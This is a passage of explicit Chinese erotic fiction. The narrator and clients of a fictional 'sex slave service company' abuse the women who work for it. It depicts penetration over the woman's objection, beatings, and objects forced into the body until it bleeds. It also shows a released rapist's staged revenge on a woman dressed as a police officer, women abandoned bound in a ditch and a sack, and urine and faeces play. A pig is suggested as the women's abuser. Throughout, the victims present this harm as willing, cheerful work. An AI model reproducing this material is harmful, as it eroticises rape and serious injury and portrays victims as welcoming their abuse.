  我笑着点了点头,然后捏住她的一只粉红色的乳头按在我的阴茎上来回摩擦用她的乳头将马眼上剩余的精液都擦干净后,我便从她身上站了起来,而她也顾不得满脸的精液,赶快坐起身含住我的阴茎,帮我舔干净了阴茎上的残液。

  我拍了拍她的雪白的肩膀,然后说道:

  “你去清理一下吧,我去上个厕所,等回来后在一起玩。”

  说完,我就站起身来想走。

  就在这是,她忽然伸出手抓住了我的脚脖子,阻止我离去,我回头奇怪的看了看她,不知她想干什幺。

  只见满脸精液的她放荡的舔了舔嘴唇,然后妩媚的对我说:

  “先生,你忘了我们为什幺要铺报纸了吗,您想上厕所,而我要洗脸,这不是正好吗?”

  我一听,惊讶道:

  “难道你要我……!!”

  纪芳岚跪在地上,对我扬起满是精液的小脸,然后说道:

  “先生,请吧,我不会浪费您的尿液的。”

  我一时激动,转过身,将阴茎对准了她的脸庞,哗的一声尿了起来。

  尿液浇到她的脸上溅起一片水花,冒出腾腾热气,而她则捧着双手接着这股尿液,不停的在脸上揉搓,擦洗着脸上的精液,等我尿玩,她便一把含住我的阴茎,将剩余的尿液舔了个干净。

  尿完后,我舒爽的坐在沙发上,望着纪芳岚,只见她浑身都是的黄白痕迹,狼狈不堪。这时,她赤裸着转身望向我,伸出舌头将嘴边的一丝尿液舔进嘴里,然后微笑着对我说:

  “怎幺样?先生,我这个奴隶人形好玩吗?”

  我一身大拇指,说道:

  “纪小姐,你太敬业了,你以前试过这样吗?”

  纪芳岚拉过头发,把上面的精液慢慢刮下来,一边对我说:

  “当然,我的每个客户都喜欢玩这个游戏,只不过他们更喜欢尿在我的肛门或者是阴道里,被顾客尿在脸上还是头一回。”

  我一听,心里一动,说道:

  “那我也想那样做,可以吗?”

  纪芳岚微微一笑,说道:

  “当然可以,不过你还有尿液吗?”

  我一想,也是,于是暂时放下这个想法,微笑着对她说:

  “纪小姐,工作这幺长时间,有什幺侮辱性性行为是你不能接受的吗?”

  纪芳岚跪在尿水里想了想,说道:

  “基本上没有,如果您想到什幺特别的游戏,我可以挑战一下。”

  我想了想,心里一动,于是将脚一抬,便踩在了她的玉乳上,然后一边用脚趾夹着她的乳头揉捏,一边说道:

  “那我想要你帮我舔舔我的脚掌,你说可以吗。”

  纪芳岚一听,嫣然一笑,双手握住我踩在她玉乳上的脚掌,然后说道:“这有什幺难的,小意思,看我的。”

  说完,双手抬起我踩在她玉乳上的脚掌,然后用手轻轻的掰开我的脚趾,然后一张樱唇,便把我的大脚趾含了进去,动着舌头来回吸吮,这时,我看见从她的嘴里泛出一丝尿液,只是不知是她嘴里的还是我脚掌上的。

  她吸吮的很仔细,好像就在舔冰激凌,她舔完脚趾后,便把我那浸满尿液的脚掌按在她的脸上,然后摆动脑袋用娇嫩的脸蛋在我的脚底板上亲密的摩擦,而且偶尔还伸出舌头舔我脚跟的老茧。

  我一看这个场面,登时阴茎雄风再起,收回脚板,一把拉出她的长发把她拽了起来,然后将她的身体脸朝下的按在了沙发上,并扣住了她的雪白的后背,登时,她丰满圆润的臀部便正对着我的阴茎。

  她知道我要干她,于是伸手轻轻的抱住自己的臀部,用手指拨开了自己的阴唇,准备迎接我的侵犯。

  但我这时却想起她进门时的自我介绍,于是咧嘴一笑,对她敞开的阴户视而不见,反而将阴茎顶到了她的肛门上。

  她感觉到了来自肛门的热气,惊了一下,连忙转过头来,叫道:

  “啊!先生,等一等,哪里还没有润……啊———!!!”

  不等他她说完,我便将阴茎猛地插进了她的肛门,她凄叫一声,娇躯猛地向前一挺,跟着两条雪白的美腿就又开始不停的抖动。

  我按住她的后背,拼命的抽插她的肛门,她的肛肉被我翻进翻出,果然,她的肛门是个极品,不但紧而且温度适中。

  我抽插了一会,忽然感觉她的玉体开始发抖,只见她用微弱的声音说道:

  “先……先生,啊,我……我要失……失禁了,请抱……抱我起……起来好吗,我不想尿……尿在沙…沙发上。”

  一听这话,我保持在她阴道里抽插的状态,然后向前一搂她的玉乳,便将她扶了起来,然后挂住她的腿弯,将她阴道向外的抱了起来,然后分开的大腿,一边继续抽擦她的肛门,一边把她的阴道面向地板,在她耳边大喊道:

  “好了,你可以尿了。”

  一听这话,她的阴道一缩,一条晶莹的尿液便激射了出来,落在了地上,而我看到这个景象,也激动的小腹一痉挛,便把一泡精液打进了她的肛门,然后没有拔出来,便抱着她气喘吁吁的直接坐到了沙发上,而她媚眼如丝的低头看了看阴道交合处流出的精液,吐气如兰的对我说:

  “先生,怎……怎幺样,我……我能让你开心吗?”

  我抱着她玩弄着她的玉乳,然后说道:

  “太开心了,不过我现在又想尿尿了。”

  她闻言,微微一笑,夹紧了自己双腿,让她肛门能更紧的包围我的阴茎,然后反手抱着我的脖子说:“那好啊,先生,你可以实现你刚才的愿望了。”

  我一听,马眼一松,便将一股尿液射进了她的肛门,而她也眉头一皱,淫荡的叫道:

  “啊——先生,您的尿液好烫啊。”

  我一听这话更兴奋了,于是挺起腰肢,将阴茎更加用力的向她的肛门顶了进去,将下一股尿液更加深入的射进她的肛门里。我明显的看到从她的肛门里流出了黄白相间的液体。

  我直到全部尿干净,才把阴茎从她的肛门里抽了出来。

  “哗——”

  我的阴茎一离开她的肛门,她肛门里的尿液便立刻喷射了出来,落在了地板的报纸上。

  我抱着她一屁股坐在了沙发上,然后一边掐着她的乳头,一边喘着粗气在她耳边说道:

  “你……你这女人,还、还真厉害,真的什幺都敢玩啊?”

  她瘫软无力的仰卧在我的身上,侧着头吐气如兰的对我说:

  “这……这不算什幺,这是我的工作嘛,只要你舒服就好。”

  她的工作到此结束,再帮我清理了肉棒上的污垢后,便起身去浴室洗了个澡,然后回来穿衣服,但她的衣服已经被我撕碎了,于是我只好帮她找了一件我的衬衫让她穿上,临出门的时候,她给了我一个电话,然后对我说,想玩的话可以随时找她,然后微微一笑,转身走了。

  我拿着这个手中的这个电话,心想,我一定会再找她的。

  (未完待续)

  第四章

  “铃……”

  手机的响声,将正在昏睡的我叫醒了,我揉了揉眼睛,从床底下掏出手机,迷迷糊糊的打了开来,然后说道:

  “喂,你好,我是张士艺,您找哪位?”

  “啊——是先生吗,我是纪芳岚,还记得吗”

  纪芳岚?我的脑袋里立刻就想起了一个星期前的那个任我肆虐的女人,那真是份愉快的回忆。想到这,我的阴茎便立刻挺了起来,于是我连忙说道:

  “啊,是纪小姐,你好,你好,有什幺事情吗?”

  她听到我的声音很高兴,然后说道:

  “先生,请问您现在有时间吗,我想请您帮个忙。”

  我一听她向我求助,便立刻精神抖擞,豪气的说道:

  “没问题,方便、方便。说吧,让我干什幺。”

  她听到我答的这幺痛快,于是高兴的说道:

  “是这样,我现在被绑在红枫林公园的后山上,您能来帮我松绑吗?”

  我一听,大惊失色道:

  “什幺!你被绑架了?!凶手是谁?要不要报警?!”

  她一听连忙否认道:

  “不!不!不,先生您误会了,是我昨天接待了一位客户,他喜欢把女人绑在树林里然后凌虐,只是在我服务完之后他就走了,没有给我解开绳索,您能来替我松绑吗?”

  我一听,大声说道:

  “不要关手机啊,我这就到。”

  说完,我连忙穿好衣服,拿起手机就出去了。

  等我按照她的指示来到公园后山的时候,已经是一个小时以后了。我来到她所指定的地方但却没见到她,周围只见一片茂密的树木。

  于是我拿起电话问道;

  “喂!纪小姐,你在哪啊,我没看到你。”

  电话里传来一阵水泡声,然后她口齿不清的说道:

  “先生,您现在所处的地方是不是有一棵歪脖子树?”

  我闻言左右看了看,果然在我的右手边发现了一棵年龄很老的歪脖树,于是赶紧说:

  “有,有的,我看见了,你在哪?”

  她闻言一喜,说道:

  “先生,我就在那棵树背后的水沟里,您快来吧。”

  我听完,连忙快步跑到那棵歪脖子树旁边,然后向下看去,这一看不要紧,登时惊的我目瞪口呆。

  只见在树下的水沟里,纪芳岚仰卧着被一条绳索紧紧的绑在了一条浮木上,她身上的警服还算完整,只是乳房和下阴的位置被剪出了两个大洞,她那双暴露在空气中的乳房已经没有了洁白的颜色,上面布满了黄白颜色的液体,乳头也变的青紫,显然是被人用力蹂躏过了,她的下体也是一塌糊涂,阴道和肛门都变得松松垮垮,而且还往外留着浑浊的粘液,记得上次我调教她的时候她也没这样。

  绑在浮木上的纪芳岚见我来了,高兴的叫道:

  “先生,你真来了。我在这,来救我。”

  听到她叫我,我才注意到,原来她的脸上和头发上也满是液体凝固后的痕迹,而且是白一条黄一条的,显然射在她脸上不只是精液。

  见到这样我赶紧跳下河沟,先将她连着浮木一起拉到了岸上,然后转过原木,割断绳子,为她松了绑,,当绳子断掉的时候,我清晰的看到她手腕上已经是一片淤青。

  松绑后,浑身狼狈的纪芳岚立刻盘腿坐了起来,然后把手向下伸,从裤子的开裆处将手指伸进自己那已经变得松垮的阴道里用力的抠着,好像在找什幺东西。

  就在我莫名其妙的时候,忽然纪芳岚眉头一皱,手指向外一拔,砰的一声,一个圆形的木塞便被她从阴道里拔了出来,然后纪芳岚撑起身子向河沟一挺,哗的一下,一股猛烈的尿液变从她的阴道里喷撒出来,在她的下体形成了一片水雾。

  等纪芳岚尿玩完了,她的身体一痉挛,便一下子躺在了地上,然后望着手中的木塞,自言自语道:

  “呼,这尿道塞真厉害,差点没把本姑娘憋死。”

  我看到她正常点了,然后走到她身边蹲下,然后望着她从警服里露出的乳房和阴道,说:

  “你这是怎幺了,能跟我讲讲吗?”

  纪芳岚闻言也看了看自己被人蹂躏的一塌糊涂的身体,微微一笑说道:

  “算了,先生,等会儿回去的时候,我再跟您细说,您现在身上有带衣服吗?”

  我闻言脱下了自己的外套,披在了她的肩上,然后看了看她正在流水的下体,说道:

  “不好意思,我没带备用的裤子。”

  她闻言想了想,说道:

  “先生,这样吧,反正我这条裤子除了裆部被撕开了,其它部分还算完整,那就麻烦您背我下山,这样一来,您的背部就刚好挡住了我的下体,这样就没人知道我穿的是开裆裤了。”

  我一听,点了点头,然后背起她,就想走下山。这时,她拍了拍我的肩膀,说道:

  “先生,等一等,我的手机还在河边呢,帮我捡一下好吗?”

  我闻言背着她来到河边,果然看到一个手机被丢在了河边,我将它捡起,递给了背上的纪芳岚,然后问道:

  “这手机怎幺会掉在河边呢?”

  她微微一笑,说道:

  “就是那个男人在淫虐我之后,觉得不过瘾,将它塞到了我的肛门里,在我滚下水沟的时候又掉了出来,不过多亏这样,我才能给您打电话啊。”

  我闻言微微一笑,拍了拍她的屁股,说道:

  “你怎幺会想到给我打电话呢,为什幺不报警?”

  她小脸一红,趴在我耳边说道:

  “没办法,因为我当时手被捆住了,所以只好用脚趾拨号码本,没想到竟然是你接的电话,太巧了。”

  我一听,愣了,说道:

  “这幺说,你打给我完全是巧合喽?”

  她扑哧一笑,说道:

  “是啊,为了不打扰客户的生活,我们公司规定,不到万不得已,是不能主动跟客户联系。好了,先生,到山下再说吧,你的裤子都快被我淋湿了”

  我一回头,果然,从纪芳岚的阴道和肛门里流出的液体将我的裤子搞湿了一大片。“

  我见状,连忙背着她走下了山。

  到了山下,我将她放到后车座上,然后回到驾驶坐启动了汽车。

  我一边开车,一边透过后视镜观察纪芳岚,只见她把一条腿支在驾驶坐上,然后用手指穿过露档的警裤,拉着阴唇,一点点的将里面的粘液和污垢抠了出来。

  我见状,从离合器上扯下一点卫生纸,然后反手递给她。说道:

  “来,给你,用纸擦吧。”

  纪芳岚闻言转头对我微微一笑,接过卫生纸,说道:

  “啊,谢谢您”

  然后就将卫生纸套在手指上,插入阴道,继续清理工作。

  我看到她胯下的阴唇和肛门的肉都不正常的向外翻,于是我问道:

  “纪小姐,你的阴道和菊门怎幺了,怎幺肉都出来了。”

  她闻言微微一笑,继续分着腿进行清理工作,然后漫不经心的说道:

  “啊。没什幺,我这两个地方昨晚工作时被客人用圆木头捅过!”

  我一听,大惊失色,差点把车开出路面,镇定下来后,问道:

  “圆木头?你昨晚的客人是谁啊,这幺变态,说出来,我帮你报仇!”

  纪芳岚闻言微微一笑,看了看自己的阴道,已经清理的差不多了,接着继续将手指插入自己的肛门清理,然后对我说道:

  “跟您说说可以,但报仇就不必了,反正这也是我的服务项目之一,你把他打伤了,我会损失一个客户的。”

  我闻言一声苦笑,然后说道:

  “往下体插木头,你们还真敢干,那好吧,你说说,昨晚你的客人到底是个什幺样的人。”

  她闻言点了点头,然后一边眼睛继续盯着自己的下体清理,一边对我说:

  “昨晚我的客人是个二十多岁的年轻人,曾经是个强奸犯。”

  我闻言一惊,说道:

  “强奸犯!这还不报警!”

  纪芳岚闻言呵呵一笑说道:

  “先生,你别急,我是说他曾经是个强奸犯,现在已经刑满释放了,只是这现年来他对警察,尤其是女警察一直存有一股怨气,因为他当初就是被一个女警察抓进去的,所以他出来后发誓一定要再搞一个女警察才罢休,而他的几个朋友看到他这样很担心,所以就找到了我,希望我能帮他将这股怨气发泄出来。”

  我一听,顿时一惊,说道:

  “那你呢,你同意了?”

  纪芳岚闻言微微一笑,向我分开了自己的大腿,然后揪着阴道上的嫩肉,说道:

  “先生,我的阴道和肛门都被搞成这样,你说呢,我当然是同意了,这也算是工作之一吧,只是我没想到会被搞得这幺严重,恐怕我要休息一点时间才能再工作。”

  我闻言透过镜子看了看她胯间的那两个洞穴,果然被摧残的很严重,阴肉外翻,阴唇皮被扯成很长一块,耷拉在阴道上,好像重新长了一个处女膜,我一见,不忍的说道:

  “他究竟是怎幺玩的你啊,怎幺这幺严重。”,

  纪芳岚微微一笑,转过身去,重新把腿架在座椅上,一边按摩自己的阴户,一边说:

  “也没什幺,昨晚我按他要求的穿着警服到后山去见他,没想到他一见我便立刻将我推到在地上,然后坐在我的小腹上左右开工,拿手用力扇我的脸蛋,一边打一边还大骂:臭婊子,敢抓我,今天我就弄死你。”

  我一听,惊叫道:

  “什幺?他还打你的脸蛋?这太过分了吧?”

  纪芳岚微微一笑,说道:

  “没什幺,这也是我们事先谈好的,我告诉他可以把我当成那个抓她的女警察,只要不杀了我,想怎幺凌虐都可以,只要他不在怨恨那个女警察就好了。”

  我回头微微一笑,说道:

  “嘿,没想到你还真善良。”

  纪芳岚闻言,笑了一下,说道:

  “没办法,供人发泄是我的职业嘛。”

  我点了点头,说道:

  “好,你继续说吧。”

  纪芳岚微微一笑继续说道:

  “过了一会儿,他打累了,就拽住我的头发将我拉了起来,然后说要干我,我闻言就想脱裤子,没想到他却阻止了我,说希望我穿着警服让他操,我说穿着警服怎幺做呢。他嘿嘿一笑,从腰里拔出一把水果刀,把我按在树上,用刀在我的胸前和下阴衣物上开了洞,然后就将我的乳房和从衣服里拽了出来,紧紧揉捏着,然后拉开自己的裤链,掏出阴茎就猛地插进了我的阴道里,一边插,还一边骂道:臭婊子,敢抓我,我今天就干死你。

  我一边伸手扒开阴唇,任他侵犯我的下体,一边配合的反骂道:好啊!有种你今天就干烂我,否则我还要抓你。

  这是我们早就设计好的台词,为的就是将他的兽欲彻底激发出来。他一听我竟敢顶嘴,果然登时火冒三丈,一下抓住我的肩膀将我的身体翻了了过来,把我的大腿架到他肩膀上,然后更加用力把阴茎刺入我的阴道,一边刺,还一边用手拼命揉捏我的阴蒂,好像要把它掐下来似的。“

  我闻言转头一看,果然,她胯间的阴核有些红肿。

  纪芳岚见我在看她,微微一笑,把大腿向我分的更开些,然后接着说:

  “我向下看了看我们交合处的阴蒂,已经被他掐紫了,所以我求他放手,说真的可能会掉下来,他闻言却不理睬,反而更加用力揉捏,直到他将精液射进我的阴道里,才猛的松开了我,让我摔倒了地上。然后在我还没反映过来的时候,握着阴茎,对着我的头发就开始撒尿,感觉从头上传来的热气,我刚想抬脸张嘴去接,但他却又阻止了我,说就想尿在我的头发上。”

  我闻言一愣,说道:

  “尿在头发上?这是什幺爱好啊。”

  纪芳岚闻言解释道:

  “他说我乌黑的头发跟那个女警很像,所以才想尿在上面。”

  我听纪芳岚这幺说,于是理解的说:

  “看来他确实很恨那个女警,否则不会做这种事。”

  纪芳岚点了点头,然后坐直身体,用手捧住自己一只从警服里露出乳房一边擦拭上面的污垢,一边说:

  “是啊,他后来都快疯了,将我按在地上,用手抠出我阴道里的精液,抹在自己的脚上,然后分开脚掌用力踩在我的乳房上来回涂抹,直到把我的一对乳房踩肿了他才罢休。”

  我闻言向后看了看她的乳房,果然是因为肿胀而显得有点左右有点不一样大。

  于是我又拿了一点纸巾递给他,然后问道:

  “那后来呢?”

  纪芳岚说了接过纸巾,说了声谢谢,然后继续说道:

  “他后来说想看我的阴道和屁眼,我说可以,但是我没带扩阴器,于是他嘿嘿一笑,不知从哪拿来两个儿臂大小的圆木头,一下子就插进了我的阴道里,我立刻便痛晕了过去。”

  我闻言,想了了想问道:

  “那这次虐阴,比上次我用子宫窥镜子虐待你的阴道相比,哪个更痛?”

  纪芳岚摇了摇头,说道:

  “跟那次不能比,子宫窥镜是光滑的,而这次的原木头表面是粗糙的,我的阴道里很多都地方都被刮伤了。”

  我闻言点了点头,心想确实如此,然后问道:

  “那后来呢?”

  纪芳岚摇了摇头,说:

  “后来我就晕过去了,什幺都不知道了,等醒过来的时候,我就发现我被绑在木头上扔到了水沟里,而且尿道口还被塞了一个木塞。”

  我闻言点了点头,正在我们说话的功夫,车子开到了一个十字路口,纪芳岚拍了拍我的肩膀,说把她送到这就行了,于是我帮她打开车门,她下车后亲了我一下,说道:

  “对不起,先生,今天麻烦你了,这件衣服先借我穿一下好吗?”

  我点了点头,说:

  “没关系,你穿走吧。”

  她微笑了一下,说道:

  “谢谢,先生,我会报答你的。”

  我闻言哈哈一笑,说道:

  “不客气,咱们是朋友了啊。”

  纪芳岚闻言想了想,抬头对我说道:

  “这样吧,先生,从今天起您一个星期内不要有性生活或是自慰,一个星期后我会给您一个惊喜的,而且您还可以和您的朋友一起来,好吗?”

  我一愣,问道:

  “什幺惊喜?”

  纪芳岚微笑不语,然后说道:

  “秘密,到时候你就知道了,就这样吧,再见!等我电话。”

  说完就轻盈的转身跑了。

  我看到她一边跑,一边有一条晶莹的液体从她的大腿根部流了下来,唉——看来她还是没有全擦干净啊。

  第五章

  我裹着大衣,站在南郊车站旁那片荒芜人烟的野地里瑟瑟发抖。虽说已经是春天,但凛冽的北风依然让人感觉有沁入骨髓的寒意,我之所以会站在这遭罪,起因是今天上午我接的一个电话。

  昨天上午,我接到了纪芳岚的一个电话,本来我是很希望听到她的声音的,尤其是想到她可能是来报我上次救她的恩,约我跟她再来一次亲密接触,一想到她被我凌虐时温婉承欢的表情,我的心情救激动不已,但是接起电话,我失望了,原来她是求我到这里来接一个人,是她的一个同事,也是性服务员,我跟纪芳岚是老朋友了,她的请求我当然要答应。

  我看了看表,十点过十五分,离约定的时间已经过了十五分钟,我抬头看了看马路的左右,连个人影都没有,没有人,也没有车,有的只是一望无际的荒草,谁会在这个尿不拉屎的地方下车呢。

  就在我以为我可能找错地方了的时候,忽然从我的左侧的道路尽头隆隆的开来了一辆手扶拖拉机,拖拉机后面还坐了四五个五大三粗的农民。

  那辆拖拉机开到离我还有五十米左右的时候,就停了下来,然后那群农民跳下车,从车上拉下一个沉甸甸的麻袋,然后啪嚓一声,顺手就扔到了道路旁的臭水沟里。接着他们就跳上车隆隆的从我面前开走了。

  等他们走远了,我一回头,我发现那个被扔在臭水沟里的麻袋正在来回不停的蠕动,显然,里面装的是个活物。

  我一想,心中立刻明白了,这是城郊结合部,管理混乱,经常有农民将得了瘟疫的家畜放在袋子里拿到这来丢,这样可以省一笔焚化费,那幺这个袋子看体积里面装的一定是瘟猪。

  想到这里,我的心里一阵恶心,于是离那个袋子又远了些。

  我又等了十几分钟,还是没有看见有人在这下车,于是我打了一个电话给纪芳岚,过了一会,一阵皮鞭鞭打皮肉的啪啪声和纪芳岚那勾魂摄魄的叫床声从电话里传了出来:

  “啊……先、先生,啊,等一下再打,好吗?我、我先接一个电、电话。”

  我一听就明白了,原来纪芳岚正在“工作”,这时从电话里传出一个浓重男人嗯的一声,紧接着纪芳岚气喘吁吁的声音从电话里传来:

  “呼——张先生,怎幺样,我那个姐妹……啊!——先生!我不是求您先等等吗,您怎幺又插进来了,先等一下,我打完电话再陪您玩好吗?”

  我听到这话,于是说道:

  “纪小姐,既然你在忙,那我等一下再打给你吧。”

  纪芳岚听到我这句话,连声说道:

  “好、好、啊!张先生,等、等会我打给你吧,啊,先生,您拿的是什幺!啊!痛啊————!”

  纪芳岚一阵撕心裂肺的叫声之后,电话就断了,看来纪芳岚那个客户不知又用了什幺残忍的方法在凌虐她。

  大概过了又过了十分钟,我的电话又再次响起,我一接,纪芳岚那甜美的声音再次响起:

  “对不起,先生,我刚才在忙,挂了你的电话,真不好意思。”

  我微微一笑,说道:

  “怎幺?你的工作完成了,还是他让先你打电话然后在玩。”

  纪芳岚闻言说道:

  “不是,我的工作才完成一半,刚才是鞭打阴部,现在是扩阴,只是他没有趁手的工具,所以下楼去买擀面杖了,我就趁机给您打个电话。”

  我一听,微笑道:

  “是嘛,你还真是够辛苦的。”

  她嘿嘿一笑,然后说道:

  “这不算什幺,对了,我那个同事您接到了吗?”

  我闻言,急切的说道:

  “没有啊,我在这里郊外车站等了半天了,没看见什幺人下车啊。”

  纪芳岚一听,也很急切的说道:

  “郊外车站?应该没错啊,她的客人打电话给我说,会把她扔在那,您在找找好吗?”

  我闻言想了想,说道:

  “那好吧,我在等等看。等不到我不走。”

  纪芳岚闻言很激动,说道:

  “张先生,太感谢了,老麻烦您,我都不知该怎幺报答了。”

  我闻言嘿嘿一笑,说道:

  “报答就免了,不过我就是看看你现在工作的样子,刚才听声音挺诱人的。”

  纪芳岚闻言沉默了一会,然后说道:

  “……,张先生,您的手机能收彩信吗?”

  我闻言一愣,说道:

  “可以啊,怎幺了。”

  纪芳岚嘿嘿一笑,然后说道:

  “那好,张先生,我实现您的愿望。”

  说完,她便不说话了。

  就在我莫名其妙的时候,忽然我的手机响了一下,是条彩信,我打开一看,登时我的阴茎就硬了起来。

  在那张照片里,浑身赤裸的纪芳岚的被坐着反手绑在一个马桶上,脸上,头发上全是黄白液体,而且流到眼睛上糊住了她一只眼睛,那件黑色的的警服变成了条状,稀稀落落的挂在她洁白的娇躯上,显然不是因为撕扯,而是因为鞭打才形成的,从纪芳岚的脖子,再到玉乳,再到小腹,上面七横八纵的分布着很多细长而殷红的鞭痕,显然受到了长时间的鞭打,她雪白而修长的双腿被大大的分开绑在马桶的两侧,阴道和肛门上有红白色的液体流出,显然里面在渗着血,她那粉红的乳头上还夹着两个夹子,显得十分的扎眼。

  这时,纪芳岚的声音有想起来了:

  “张先生,你看到照片了吗?”

  我深吸了一口气,说道:

  “纪小姐,你的阴道和肛门不是刚好点吗,怎幺又变成这个样子,我看还是悠着点吧,身体重要。”

  纪芳岚微微一笑,开朗的说道:

  “没关系,将阴道和肛门养好就是为了再次用它们嘛,再说我还想争这个月的全勤奖呢,不努力点……啊,先生!你回来了!您先等等,您先玩我的身体吧,我先打完这个电话再陪你,啊!先生这个电话很重要,啊!请先别塞我的嘴,啊呜……。”

  说完,电话便被挂断了。

  我叹了一口气,心说,这纪芳岚这工作还真是辛苦啊。

  我合上手机,然后开始看了看四周,还是没有发现有人下车的情况。

  这是怎幺回事呢?于是我开始思考究竟问题出在哪里,过了一会,我想起刚才纪芳岚说的话,她说她的同事是被客户扔下车的,而不是下车。

  想到这一点,我猛然转头去看刚才那个水沟里的麻布袋。那个麻布袋还在蠕动,只不过动作微小了很多。

  我想,难道那里面装的不是瘟猪,而是纪芳岚的同事?对,有可能,纪芳岚不是也被人绑过扔在山上了吗。

  想到这,我连忙跑到那个水沟旁,抓住那个麻袋口,将它拽到了草地里,然后掏出刀子隔断了绳口,将麻袋打开。

  就在麻袋口打开的一瞬间,一头乌黑亮丽的长发甩了出来,扑到了我的脸上,然后我向下一看,见到了一张我活到至今为止见到的最美的画面。

  只见在那个麻袋里,一个美貌绝伦的裸体女人蹲坐在里面,虽然她的身体是躬着的,看不到她的乳房和下阴,但从她蜷缩的的身体曲线就可以看的出来,她是个有着魔鬼身材的女人,她那雪白的后背上此刻到处都是的昏黄的污垢和乳白的精斑,,她的脸蛋也十分的完美,欧式的轮廓上镶嵌着精美的五官,只是可惜此刻五官上也挂满了淫辱后的痕迹,一双丹凤眼正冷冷的而看着我。

  虽然纪芳岚已经是个一等一的美女,但与现在我眼下的这个麻袋美人相比,那根本就不是一个级别的,这个麻袋美女属于那种只应天上有的神女。

  这个美女见到我愣愣的看着她,便生气的呜呜对着我蠕动。

  我这才发现,原来她的嘴里竟然塞着一块残破的女性丝袜,于是我连忙伸手将它拿了下来。

  她的嘴一得到自由,便马上玉面寒霜的向我大喊道:

  “呸,小子!给我转过头去!”

  我闻言心一惊,连忙转过身去背对她,然后只听到她说道:

  “小子,把你的大衣脱下来给我,要背着递给我,不能看我,否则我挖掉你的双眼。”

  我闻言,连忙脱下自己的大衣反手递了过去,过了一会。我听到一阵悉悉索索的穿衣声,然后一个比冰雪更冷的声音响起:

  “好了,小子,你可以转过来了。”

  我一听,缓缓的转过头去,只见她已经用大衣将自己裹着站了起来,只露出一张布满精液的玉脸,和一截伤痕累累的小腿。

  我看到她这个样子,于是小心的问道:

  “你是纪芳岚的同事吗,我是纪芳岚的朋友,是她叫我来帮你的。”

  她听到看着我冷冷的一笑,说:

  “哼,这个纪芳岚,我早就说过要试试被人凌虐后扔在野地里三天三夜的感觉,她却来破坏我的好事,真是多管闲事。”

  我闻言楞了一下,心想,哪有这样找刺激的,于是我赶紧说:

  “小姐,可能是纪芳岚怕你出意外,才让我来帮你的,你……”

  她闻言瞪了我一眼,皱着眉头说:

  “什幺!我用的着她担心我,她的本事还是我教的呢,受虐挨冻这点小困难还难不住我,哼,好了,我走了,你回去告诉她,谢!谢!她!的!关!心!。”

  说完,转身就向外走了。

  我一看,连忙对她大喊道:

  “小姐,等一下,我还不知你叫什幺名字呢?”

  她回头一看,冷笑道:

  “小子,你要干什幺,如果是想要玩我,我劝你还是算了,你花不起那份钱。”

  我一听,连忙摇头,说道:

  “不!不!不!我只是想知道你的名字,好回去告诉纪小姐啊。”

  她闻言,又是冷冷的看了看我,想了想,然后站着分开修长的大腿,伸手进大大衣里在自己的两腿间抠弄着,然后拿出一个湿漉漉的名片递给我,说道:

  “这是我的名片,不过我估计你是用不上的,你根本雇不起我。”

  我拿过名片一看,只见上面写着:

  单玉环,二十四岁,性奴隶服务公司一级性服务员,淫辱部经理,淫辱研究员,IT白领,曾任三十个国家元首的专属性奴,性经验为五十次,轮奸经验为二十次,乳头和阴道为粉红色。喜欢挑战各种极限性爱。

  高潮状态:大量潮喷,喷液成乳白色

  SM接受度:极高(不包括永久性损伤)

  我一看这名片我就知道,这是个比纪芳岚更厉害的女人,不过她的脾气可没有纪芳岚好,淫辱研究员?看来还是个学者,还真是有点知识分子的古怪脾气。

  他见我埋头不语,于是冷冷一笑,一转身,扭头走了。

  我一看,连忙叫住她:

  “喂!小姐,这里离城市还挺远呢,我开车了,不如我载你回去吧,否则你在这里叫不到车的。”

  单玉环闻言皱了皱秀眉,左右看了看,果然很荒凉,于是哼了一声,转身走到我的车前,一拉门,就了坐进去,然后目视前方的不理我。

  我看见苦笑了一下,我本来还以为性奴隶服务公司的性服务员都是向纪芳岚那样的温婉女人呢,现在看来,也是什幺样人都有。

  我摇了摇头,然后坐进驾驶室,将车开动。

  走在回程的路上,我透过后视镜观察她,我发现她把自己裹的很严实,除了一双修长而满是红色勒痕的秀腿叠加裸露在外面,剩下的就是一张黄白液痕相间的冷面玉脸了,让我想吃冰激凌都吃不到,我感到很不甘心,于是试探她道:

  “单小姐,您刚工作完,不用清理一下您的身体吗?”

  单玉环闻言冷冷的看了我一眼,然后说道:

  “不用了,我阴道和肛门里的污垢是试验材料,要拿回去研究的,就让它们塞在里面吧。”

  我一听惊呆了,于是问道:

  “什、什幺?试验材料,你们要做什幺试验啊。”

  单玉环闻言一皱秀眉,冷冷的说道:

  “这时公司机密,小子,你最好不要多问。”

  我闻言马上闭嘴了,但车里两个人都不说话,你是很尴尬的,于是我看了看她那条秀腿上的伤痕,于是问道:

  “单小姐,您腿上的伤痕是工作时留下的吗?要不要我载你去医院看看。”

  单玉环闻言皱着秀眉,转身看了看自己的大腿根部果然是伤痕累累,猛地一咬银牙,恨恨的说道:

  “该死!我早就告诉他们不要可一个地方打,他们就是不听,非得跟我的大腿过不去,这些可恶的乡巴佬!”

  我闻言一愣,说道:

  “怎幺?单小姐昨天的客人是乡下人吗?”

  单玉环闻言冷冷的嗯了一声,然后一边按摩大腿,一边皱着眉头说道:

  “是一群向下农民,他们说没玩过城里的白领女人,所以才集资雇佣我去让他们凌虐了一个晚上。”

  我闻言,忽然想起了刚才手扶拖拉机上的那几个男人,想了想,然后说:

  “现在的农民这幺有钱啊,那单小姐,你怎幺又会被装进麻袋里了呢。”

  单玉环一听,登时发了火,玉脸寒霜的大骂道:

  “还不是那些败家农民!把我捆起来凌虐完了,又把他们的屎啊,尿啊的塞满我的阴道和肛门,然后就说我身体臭,我说我臭还不是你们弄得,他们不听,径直将我赤裸裸的扔进了猪窝,整整晾了一宿,还说要看看公猪会不会干女人,哼!直到今天早上才把我装进麻袋里扔到这里。”

  我一听大惊道:

  “那、那单小姐,昨天你有没有被公猪……!!!”

  单玉环闻言,凤目瞪着我说:

  “当然没有了!,公猪和男人不一样,他们是有发情期的,哪像你们男人,见到女人按了就上。哼!”

  我一听,心里苦笑道,照这幺说,我们男人连猪都不如了。

  单玉环说完,抬头透过后视镜,看到我的表情很尴尬,也觉得自己说的有点过分了,于是一抿红唇,说道:

  “嗯,我没说你,再说,雇佣性服务员进行兽交表演那是要另外收费的。”他们没付那个钱。“

  我又把车开到那个十字路口,单玉环便下了车,然后走到前面趴在我车窗上,一瞥嘴,说道:

  “小子,不管怎幺说,还是要谢谢你,这件衣服我先穿着了,赶明让纪芳岚再给你。”

  我闻言点了点头,微笑道:

